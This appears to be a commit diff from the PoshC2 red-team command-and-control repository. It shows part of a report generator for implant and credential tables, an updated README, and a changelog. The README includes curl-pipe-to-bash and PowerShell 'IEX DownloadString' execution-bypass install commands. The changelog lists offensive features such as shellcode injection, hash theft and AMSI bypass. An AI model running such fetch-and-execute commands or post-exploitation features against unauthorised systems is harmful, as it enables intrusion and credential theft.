HTMLPost = HTMLPost.replace("<th>CompletedTaskID</th>","<th class=\"CompletedTaskID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ID</th>","<th class=\"ID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>TaskID</th>","<th class=\"TaskID\">TaskID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Output</th>","<th class=\"Output\">Output</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Prompt</th>","<th class=\"Prompt\">Prompt</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ImplantID</th>","<th class=\"ImplantID\">ImplantID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Hostname</th>","<th class=\"Hostname\">Hostname</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>IpAddress</th>","<th class=\"IpAddress\">IpAddress</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Key</th>","<th class=\"Key\">Key</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>FirstSeen</th>","<th class=\"FirstSeen\">FirstSeen</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>LastSeen</th>","<th class=\"LastSeen\">LastSeen</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>PID</th>","<th class=\"PID\">PID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Proxy</th>","<th class=\"Proxy\">Proxy</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Arch</th>","<th class=\"Arch\">Arch</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Domain</th>","<th class=\"Domain\">Domain</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Alive</th>","<th class=\"Alive\">Alive</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Sleep</th>","<th class=\"Sleep\">Sleep</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ModsLoaded</th>","<th class=\"ModsLoaded\">ModsLoaded</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Pivot</th>","<th class=\"Pivot\">Pivot</th>")
|
||||
HTMLPost = HTMLPost + """
|
||||
<script>
|
||||
tweakMarkup();
|
||||
</script>"""
|
||||
output_file.write("%s%s" % (HTMLPre.encode('utf-8'),HTMLPost.encode('utf-8')))
|
||||
output_file.close()
|
||||
print reportname
|
||||
|
||||
generate_table("CompletedTasks")
|
||||
generate_table("C2Server")
|
||||
generate_table("Creds")
|
||||
generate_table("Implants")
|
33
Payloads.py
33
Payloads.py
File diff suppressed because one or more lines are too long
49
README.md
49
README.md
|
@ -1,26 +1,47 @@
|
|||
# PoshC2
|
||||
PoshC2 is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. The tools and modules were developed off the back of our successful PowerShell sessions and payload types for the Metasploit Framework. PowerShell was chosen as the base language as it provides all of the functionality and rich features required without needing to introduce multiple languages to the framework.
|
||||
PoshC2 is a proxy aware C2 framework that utilises Powershell **and/or** equivalent (System.Management.Automation.dll) to aid penetration testers with red teaming, post-exploitation and lateral movement. Powershell was chosen as the base implant language as it provides all of the functionality and rich features without needing to introduce multiple third party libraries to the framework.
|
||||
|
||||
Windows Install (PoshC2):
|
||||
In addition to the Powershell implant, PoshC2 also has a basic dropper written purely in Python that can be used for command and control over Unix based systems such as Mac OS or Ubuntu.
|
||||
|
||||
The server-side component is written in Python for cross-platform portability and speed, a Powershell server component still exists and can be installed using the 'Windows Install' as shown below but will not be maintained with future updates and releases.
|
||||
|
||||
|
||||
## Linux Install of [PoshC2_Python](https://github.com/nettitude/PoshC2_Python/)
|
||||
|
||||
Install using curl & bash
|
||||
```
|
||||
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
|
||||
```
|
||||
|
||||
Manual install
|
||||
|
||||
```
|
||||
wget https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh
|
||||
chmod +x ./Install.sh
|
||||
./Install.sh
|
||||
```
|
||||
|
||||
## Windows Install of [PoshC2](https://github.com/nettitude/PoshC2/)
|
||||
|
||||
```
|
||||
powershell -exec bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/PoshC2/master/C2-Installer.ps1')"
|
||||
```
|
||||
|
||||
Linux Install (PoshC2_Python):
|
||||
## Issues / FAQs
|
||||
|
||||
```
|
||||
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
|
||||
```
|
||||
If you are experiencing any issues during the installation or use of PoshC2 please refer checkout the open issues tracking page within GitHub. If this page doesn't have what you're looking for please open a new issue and we will try to resolve the issue asap.
|
||||
|
||||
# Documentation
|
||||
If you are looking for tips and tricks on PoshC2 usage and optimisation, you are welcome to join the slack channel below.
|
||||
|
||||
## License / Terms of Use
|
||||
|
||||
This software should only be used for **authorised** testing activity and not for malicious use.
|
||||
|
||||
By downloading this software you are accepting the terms of use and the licensing agreement.
|
||||
|
||||
|
||||
## Documentation
|
||||
|
||||
We maintain PoshC2 documentation over at https://poshc2.readthedocs.io/en/latest/
|
||||
|
||||
Find us on #Slack - poshc2.slack.com
|
||||
|
||||
# Install
|
||||
|
||||
```
|
||||
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
|
||||
```
|
||||
Find us on #Slack - [poshc2.slack.com](poshc2.slack.com) (to request an invite send an email to labs@nettitude.com)
|
||||
|
|
|
@ -1,11 +1,28 @@
|
|||
4.4
|
||||
====
|
||||
4.5 (19/11/18)
|
||||
==============
|
||||
|
||||
4.4 (10/11/18)
|
||||
==============
|
||||
Inject Shellcode 32bit to 6bit using https://github.com/Coder666/Invoke-CreateRemoteThread64
|
||||
Added simple Get-IPConfig cmdlet
|
||||
Updated to include most recent commits
|
||||
Updated to add option to upload file that is not Hidden & System
|
||||
Identify if SSL inspection is enabled for web traffic
|
||||
Obtain a user hash using the methods from 'Internal-Monologue'
|
||||
Updated to handle accents on hostnames or users
|
||||
Updated Get-Processfull & Get-Processlist to handle errors on GetOwner()
|
||||
Updated syntax error in WMIEvent module
|
||||
Updated Shellcode/DLL to support scriptblock / transcript bypass
|
||||
Updated default ps command - Now uses Get-ProcessList not Get-ProcessFull
|
||||
Updated opsec command to add users compromised
|
||||
Removed sleep as beacon command - set-beacon, beacon or setbeacon
|
||||
Updated Unhook-AMSI (https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)
|
||||
Removed html and replaced with cgi requirement for HTML encoding on output-to-html
|
||||
Updated print statements in C2Server,ImplantHandler & AutoLoads in preperation for Python3
|
||||
Updated output-to-html to escape HTML characters
|
||||
|
||||
4.3
|
||||
====
|
||||
4.3 (27/10/18)
|
||||
==============
|
||||
Updated HTML Output for Implants.html
|
||||
Updated OPSEC command for persistence
|
||||
Updated Implant Naming Convention to use [Security.Principal.WindowsIdentity]::GetCurrent()).name
|
||||
|
|
Loading…
Reference in New Issue